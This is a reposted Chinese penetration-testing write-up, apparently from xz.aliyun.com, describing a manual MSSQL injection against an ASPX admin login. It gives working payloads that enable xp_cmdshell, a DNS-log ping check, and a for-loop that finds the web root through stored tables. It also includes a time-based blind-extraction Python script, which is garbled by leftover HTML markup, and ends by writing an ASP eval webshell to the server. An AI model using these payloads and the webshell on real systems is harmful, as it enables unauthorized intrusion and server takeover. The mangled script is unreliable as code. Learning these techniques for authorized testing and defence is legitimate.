一次另类的mssql手注+写脚本(windows通过for循环来定位文件绝对路径;通过将路径写到表中来读取数据;通过unicode编码来读取中文)

本文主要是介绍一次另类的mssql手注+写脚本(windows通过for循环来定位文件绝对路径;通过将路径写到表中来读取数据;通过unicode编码来读取中文),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

转载https://xz.aliyun.com/t/11303?share_token=3d150dd5-438d-4bc1-943b-9b4916e7512f

0x00 前言

事情的起因是一位老哥叫我帮他打一个站点,于是就有了这篇文章

0x01 总体思路

发现mssql注入->上cs->失败

通过mssql注入->拿数据->解密失败->进后台无望

最终想到了:

xp_cmdshell->通过cmd中for循环找网站绝对路径->通过unicode编码读取中文->创建表存储unicode编码->读取出网站绝对路径->上网站马->getshell

0x02 渗透历程

2022.4.15

首先拿到站点肯定是要进行目录扫描,这里也是成功的扫到了后台目录。因为站点是aspx的,所以特意在后台登录处尝试了一下sql注入,果然这里还是存在注入点的

本来想直接拿sqlmap跑的,但是没想到sqlmap把站点跑崩了,给我吓的这下。幸好授权

只能手注了,对于mssql,最快拿shell的办法就是通过xp_cmdshell上传cs马。首先判断是否为sa权限
admin';if(1=(select is_srvrolemember('sysadmin'))) WAITFOR DELAY '0:0:5';--
成功延时,sa权限起飞

于是我迫不急待的掏出我的cs大宝贝,开始上马流程。
上马前当然要判断是否开启了xp_cmdshell,没有开启的话给它开启一下

if(1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')) WAITFOR DELAY '0:0:5'--   #判断是否开启xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;    #开启xp_cmdshell

通过ping dnslog来判断是否开启成功,接收到信息说明开启了xp_cmdshell
admin';exec%20master..xp_cmdshell 'ping nineone1.c704b904.dns.1433.eu.org.';--

之后就是上传cs马子,因为上线cs马的payload有单引号的原因会导致语句执行失败,所以我们需要将其进行base64编码再上传。使用https://www.yster.live/runtime-exec-payloads/进行base64编码


然后我就开始吃包辣条等着cs上线。吃着吃着一包辣条都要吃完了,还是没有上线。没心情吃了。赶紧看下是不是哪里出了问题。本地复现一遍没有问题。这时候想到了可能是杀软将cs马杀掉了。没办法了,菜鸡又不会做cs的免杀马。尝试下注入数据进后台吧。这里因为sqlmap跑不了,于是就自己写了个脚本获取数据,最终也是拿到了数据,但是无奈对方管理员安全意识高,导致密码破解时破解不出。

正当我一筹莫展时,想到了可不可以上传一个aspx马子,aspx马我有免杀啊。但是想要通过aspx马getshell首先得知道网站路径。使劲往网站报错,都没有看到报错路径。没办法了,明天再来搞吧

2022.4.16

第二天的时候正好复习了一下linux基础命令,突然想到inux中有着find命令找文件得绝对路径,那么windows中是不是也有相应得命令。百度一下果然有,可以通过for循环来找文件得绝对路径
在windows中运行for /r "C:\" %i in (test.bmp*) do @echo %i
ps:*表示精准匹配(猜的),如果不加*会有一大堆垃圾数据

那么我们得思路就来了,可以先在网站上找一个上传点,然后上传图片,这时候图片被重名之后,此服务器上就只有这一个图片。可以通过for循环遍历找这个图片,得到网站绝对路径。但是没有回显,真是个很烧脑得问题。中午吃饭得时候,突然想到,我可以通过创建一个表将图片路径保存到这个表中,然后再去读取这个表。那么我就可以得到网站得路径了!!!
说干就干,先创建一个表。在后面添加一个延时得作用是可以通过延时来判断表是否被创建成功。
admin';create table path(pathh varchar(100)) waitfor delay'0:0:5';--

接着就是将图片绝对路径插入表中,这里通过延时也是可以看出数据被插了进去

admin';insert into path(pathh) exec master..xp_cmdshell 'for /r "C:\" %i in (165009984088945243.bmp*) do @echo %i'waitfor delay '0:0:5';--


为了保守起见,验证了一下是否真的成功,可以看到这里成功写入了数据
admin';if (select COUNT(*)from path)>0 waitfor delay '0:0:5';--

然后就是用自己写的脚本来跑path表中pathh字段得数据。就在我以为可以拿到绝对路径,离成功不远的时候,麻了结果没有跑出来。跑出来得结果如下:

想了一会,为什么有几个未知字符呢。仔细看了一会代码,代码没有问题啊。百思不得其解时,看了一会ascii表,突然想到会不会这两个字符是中文字符,所以用ascii码跑不出来。懂了,是这么个道理。然后开始查找mssql能表示中文得函数,找到了unicode编码,就可以用来表示中文

然后就当我开始兴致勃勃开始写脚本的时候,突然意识到中文???,中文这么多,怎么可能跑的完,二分法??那也要跑很久,跑起来也太难了不是。跑到海枯石烂,跑到天荒地老,跑到女朋友嫁给别的男人。。。
头大,今天收工了,明天再来吧。

2022.4.17

昨晚睡觉得时候实在睡不着,想了一晚,终于给我想到了。既然网站有堆叠注入,那么我是否可以执行语句通过substring函数将路径中汉字的unincode编码保存到另外一个表中,然后我再单独读取这个表的数据,这样我就能拿到汉字得unicode编码。然后再解码一下就可以了
在本地测试一下语句,这里declare是定义变量得意思

接着我们继续打这个站
首先再创建一个表,用来存储汉字得unicode编码
x admin';create table Cn(unicode varchar(100)) waitfor delay'0:0:5';--

然后再跑脚本。这里贴上脚本

import requests
import sys
import time
host="http://www.xxx.com/adminxxx/login.aspx"
def write_Unicode():global hostproxies ={"http":"http://127.0.0.1:8888"}ans=''headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0"}for i in range(1,1000):print('guess'+str(i))for ch in range(32,129):if ch==128:#sys.exit(0)username="admin';declare @a varchar(100);declare @b varchar(100);select @a=(select top 1 pathh from path);select @b=(select unicode(substring(@a,%d,1)));insert into Cn(unicode) values(@b)waitfor delay '0:0:2'--"%(i)data={'username':username,'password':'123456'}
            <span class="n">ans</span><span class="o">+=</span><span class="s1">'?'</span><span class="n">html</span><span class="o">=</span><span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">host</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">4.5</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">,</span><span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span><span class="n">proxies</span><span class="o">=</span><span class="n">proxies</span><span class="p">)</span><span class="k">break</span><span class="c1">#username="admin';if ascii(SUBSTRING((select top 1 pathh from path),%d,1))=%d waitfor delay'0:0:5';--"%(i,ch)</span><span class="n">username</span><span class="o">=</span><span class="s2">"admin';if ascii(SUBSTRING((select top 1 unicode from Cn),</span><span class="si">%d</span><span class="s2">,1))=</span><span class="si">%d</span><span class="s2"> waitfor delay'0:0:5';--"</span><span class="o">%</span><span class="p">(</span><span class="n">i</span><span class="p">,</span><span class="n">ch</span><span class="p">)</span><span class="n">data</span><span class="o">=</span><span class="p">{</span><span class="s1">'username'</span><span class="p">:</span><span class="n">username</span><span class="p">,</span><span class="s1">'password'</span><span class="p">:</span><span class="s1">'123456'</span><span class="p">}</span><span class="k">print</span><span class="p">(</span><span class="n">username</span><span class="p">)</span><span class="k">try</span><span class="p">:</span><span class="n">html</span><span class="o">=</span><span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">host</span><span class="p">,</span><span class="n">timeout</span><span class="o">=</span><span class="mf">4.5</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">data</span><span class="p">,</span><span class="n">headers</span><span class="o">=</span><span class="n">headers</span><span class="p">,</span><span class="n">proxies</span><span class="o">=</span><span class="n">proxies</span><span class="p">)</span><span class="c1">#time.sleep(1)</span><span class="k">except</span><span class="p">:</span><span class="n">ans</span><span class="o">+=</span><span class="nb">chr</span><span class="p">(</span><span class="n">ch</span><span class="p">)</span><span class="k">print</span><span class="p">(</span><span class="s2">"data -&gt;"</span><span class="o">+</span><span class="n">ans</span><span class="p">)</span><span class="k">break</span>

#dumpData_En()
write_Unicode()

成功跑到第一个中文字符的unicode编码

依次类推即可得到全部的unicode编码,然后解码就可以得到全部的中文字符,最终拿到网站绝对路径。
最后就是上传马子了。通过执行如下payload就行了。当然我这里使用的是免杀aspx马子。
exec master..xp_cmdshell 'echo ^<%eval request(chr(35))%^> > C:/inetpub/xxxxxx/a.asp';
最终也是成功的拿到了shell

0x03 总结

这次渗透经历之所以要记录一下,确实学到了姿势。通过for循环来找网站绝对路径,通过将路径写到表中来读取数据,通过unicode编码来读取中文。

        </div>

这篇关于一次另类的mssql手注+写脚本(windows通过for循环来定位文件绝对路径;通过将路径写到表中来读取数据;通过unicode编码来读取中文)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/760036

相关文章

javafx 如何将项目打包为 Windows 的可执行文件exe

《javafx如何将项目打包为Windows的可执行文件exe》文章介绍了三种将JavaFX项目打包为.exe文件的方法:方法1使用jpackage(适用于JDK14及以上版本),方法2使用La... 目录方法 1:使用 jpackage(适用于 JDK 14 及更高版本)方法 2:使用 Launch4j(

Linux使用nohup命令在后台运行脚本

《Linux使用nohup命令在后台运行脚本》在Linux或类Unix系统中,后台运行脚本是一项非常实用的技能,尤其适用于需要长时间运行的任务或服务,本文我们来看看如何使用nohup命令在后台... 目录nohup 命令简介基本用法输出重定向& 符号的作用后台进程的特点注意事项实际应用场景长时间运行的任务服

JAVA中while循环的使用与注意事项

《JAVA中while循环的使用与注意事项》:本文主要介绍while循环在编程中的应用,包括其基本结构、语句示例、适用场景以及注意事项,文中通过代码介绍的非常详细,需要的朋友可以参考下... 目录while循环1. 什么是while循环2. while循环的语句3.while循环的适用场景以及优势4. 注意

SpringBoot使用Apache POI库读取Excel文件的操作详解

《SpringBoot使用ApachePOI库读取Excel文件的操作详解》在日常开发中,我们经常需要处理Excel文件中的数据,无论是从数据库导入数据、处理数据报表,还是批量生成数据,都可能会遇到... 目录项目背景依赖导入读取Excel模板的实现代码实现代码解析ExcelDemoInfoDTO 数据传输

电脑多久清理一次灰尘合? 合理清理电脑上灰尘的科普文

《电脑多久清理一次灰尘合?合理清理电脑上灰尘的科普文》聊起电脑清理灰尘这个话题,我可有不少话要说,你知道吗,电脑就像个勤劳的工人,每天不停地为我们服务,但时间一长,它也会“出汗”——也就是积累灰尘,... 灰尘的堆积几乎是所有电脑用户面临的问题。无论你的房间有多干净,或者你的电脑是否安装了灰尘过滤器,灰尘都

windows端python版本管理工具pyenv-win安装使用

《windows端python版本管理工具pyenv-win安装使用》:本文主要介绍如何通过git方式下载和配置pyenv-win,包括下载、克隆仓库、配置环境变量等步骤,同时还详细介绍了如何使用... 目录pyenv-win 下载配置环境变量使用 pyenv-win 管理 python 版本一、安装 和

python获取当前文件和目录路径的方法详解

《python获取当前文件和目录路径的方法详解》:本文主要介绍Python中获取当前文件路径和目录的方法,包括使用__file__关键字、os.path.abspath、os.path.realp... 目录1、获取当前文件路径2、获取当前文件所在目录3、os.path.abspath和os.path.re

Python读取TIF文件的两种方法实现

《Python读取TIF文件的两种方法实现》本文主要介绍了Python读取TIF文件的两种方法实现,包括使用tifffile库和Pillow库逐帧读取TIFF文件,具有一定的参考价值,感兴趣的可以了解... 目录方法 1:使用 tifffile 逐帧读取安装 tifffile:逐帧读取代码:方法 2:使用

如何使用 Bash 脚本中的time命令来统计命令执行时间(中英双语)

《如何使用Bash脚本中的time命令来统计命令执行时间(中英双语)》本文介绍了如何在Bash脚本中使用`time`命令来测量命令执行时间,包括`real`、`user`和`sys`三个时间指标,... 使用 Bash 脚本中的 time 命令来统计命令执行时间在日常的开发和运维过程中,性能监控和优化是不

bat脚本启动git bash窗口,并执行命令方式

《bat脚本启动gitbash窗口,并执行命令方式》本文介绍了如何在Windows服务器上使用cmd启动jar包时出现乱码的问题,并提供了解决方法——使用GitBash窗口启动并设置编码,通过编写s... 目录一、简介二、使用说明2.1 start.BAT脚本2.2 参数说明2.3 效果总结一、简介某些情